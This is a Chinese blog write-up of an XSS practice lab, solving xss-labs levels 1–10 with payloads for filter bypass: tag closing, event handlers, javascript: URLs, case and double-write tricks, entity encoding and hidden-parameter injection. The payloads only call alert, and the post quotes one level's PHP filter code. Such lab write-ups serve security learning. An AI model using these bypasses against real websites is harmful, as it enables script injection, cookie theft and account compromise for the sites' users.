渗透测试之XSS:xss-labs 1-10关总结

XSS原理:

全称跨站脚本,某种意义上也是一种注入攻击,指攻击者在被攻击的页面上注入恶意脚本代码,受害者访问该页面时,恶意代码会在用户的浏览器上执行。xss不仅扩展javascript代码,还包括flash等其他脚本语言。xss攻击针对的是客户端的攻击,受害者是用户,网站管理员也是用户之一,攻击者可以假冒管理员身份对网站实施攻击。

产生的危害有:

盗取cookie,修改网页内容,网页挂马,利用网页重定向,xss蠕虫。

第一关:

没有输入框,那直接在url中写入一段js代码试试(get型):

<script>alert('xss')<script>

在这里插入图片描述
直接就成功了,第一关没有做防护。

第二关:

依旧先注入一段js代码:

<script>alert(1)<script>

没有反应,F12看看源码:
在这里插入图片描述
原来是没有闭合,加个双引号闭合标签应该就ok了:

1"><script>alert(1)<script>

果然,是成功了,也比较简单。

第三关:

还是先注入一段js代码看效果:

1"><script>alert('xss')<script>

没成功,查看一下源码:
在这里插入图片描述

在这里插入图片描述
发现</>这些符号被转义成实体字符了,那采用标签肯定是不行了。
我试试触发事件:

1" οnmοuseοver="alert(1)"

发现没用,看下源码:
在这里插入图片描述
发现注入的代码还是在value里,看看是不是双引号被过滤了,双引号换成单引号试试:

' οnmοuseοver='alert(1)'

在这里插入图片描述
哦吼!可以了,为什么单引号就不过滤呢。。。。

第四关:

话不多说,注入一段js代码看效果:

1"><script>alert('xss')<script>

在这里插入图片描述
。。还是过滤了</>这三个符号,直接考虑事件:

' οnmοuseοver='alert(1)'

在这里插入图片描述
还是没效果。
换回双引号试试:

" οnmοuseοver="alert(1)"

在这里插入图片描述
换回双引号就可以了。。

第五关:

注入一段js代码看效果:

1"><script>alert('xss')<script>

看下源码:
在这里插入图片描述
发现script被换成了scr_ipt,那我们再尝试第三、四关的思路,发现on被替换成了o_n,双写和大小写尝试了,也不行。。基本所有事件都是带on的,那触发事件也是不行了。。
那就再试试a标签(构建超链接):

"><a href="javascript:alert(1)">

在这里插入图片描述
成功了!

第六关:

注入一段js代码看效果:

1"><script>alert('xss')<script>

查看源码后发现和第五关一样,发现script被换成了scr_ipt,on被替换成了o_n ;再尝试第五关的方法,竟然发现连herf也被替换成href了。。。
在这里插入图片描述
接着又尝试了双写、大小写、base64编码绕过,大小写绕过都不行,最后尝试很多次,把HREF全大写就可以绕过了.。。。。
在这里插入图片描述

第七关:

注入一段js代码看效果:

1"><script>alert('xss')<script>

发现scipt被过滤了
在这里插入图片描述
接着尝试大小写和双写,双写可以绕过(好像可以初步断定:如果某段代码被完全去除,就可以双写进行绕过了),✌

1"><scrscriptipt>alert('xss')<scrscriptipt>
第八关:

在这里插入图片描述
看到是超链接,那就直接注入一段超链接代码看效果:

"><a href="javascript:alert(1)">

在这里插入图片描述
没通过,查看源码发现href和script被替换了,那就再针对他们进行大小写绕过。

"><a HREF="javaSCRIPT:alert(1)">

在这里插入图片描述
再查看源码发现这两个字符的替换是绕过成功了,但是js代码还在value里面。这时候想到第三关的单引号没过滤,我换成单引号试试:

'><a HREF='javaSCRIPT:alert(1)'>

在这里插入图片描述
依旧不行。突然反应过来此关本就有超链接,直接往超链接注入:javaSCRIPT:alert(1),可惜不行。再尝试下html实体编码绕过:

javaSCRIPT:alert(1)

对应的html编码(其实只要把被过滤的字段进行编码就行,我懒就索性全编了):

&#x6a;&#x61;&#x76;&#x61;&#x53;&#x43;&#x52;&#x49;&#x50;&#x54;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;
第九关:

注入,看效果:

javaSCRIPT:alert(1)

在这里插入图片描述
接着前面的方法全尝试了,html编码和base64编码也尝试了,就是绕不过。。。。试了好久好久,头都快炸了,受不了受不了,果断看服务端的源码去了:

<!DOCTYPE html><!--STATUS OK--><html>                                                                                                                                          
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

分析源码发现基本过滤所有关键字,不过加了个判断:

if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

,必须要有http:// 才行。。。。
那就在第八关html编码的基础上再加上此字段:

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('http://')

在这里插入图片描述
成功了。

第十关:

没有输入框,url注入一段js代码看看:
在这里插入图片描述
查看源码时发现有隐藏的input参数:t_link、t_history、t_sort
在这里插入图片描述
在url中分别给他们传下参:

http://192.168.1.129/xss-labs/level10.php?keyword=t&t_link=t1&t_history=t2&t_sort=t3

在这里插入图片描述
查看源码发现t_sort被写入html中,那就以它着手进行get注入:

http://192.168.1.129/xss-labs/level10.php?t_sort=<script>alert(1)</script>

在这里插入图片描述
看源码发现<>被过滤了,html编码绕过也不行,还是考虑事件触发(记得写到hidden位置):

http://192.168.1.129/xss-labs/level10.php?t_sort="type=" "οnmοuseοver="alert(1)

在这里插入图片描述
输入框出来了,鼠标移过去触发一下就行了。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值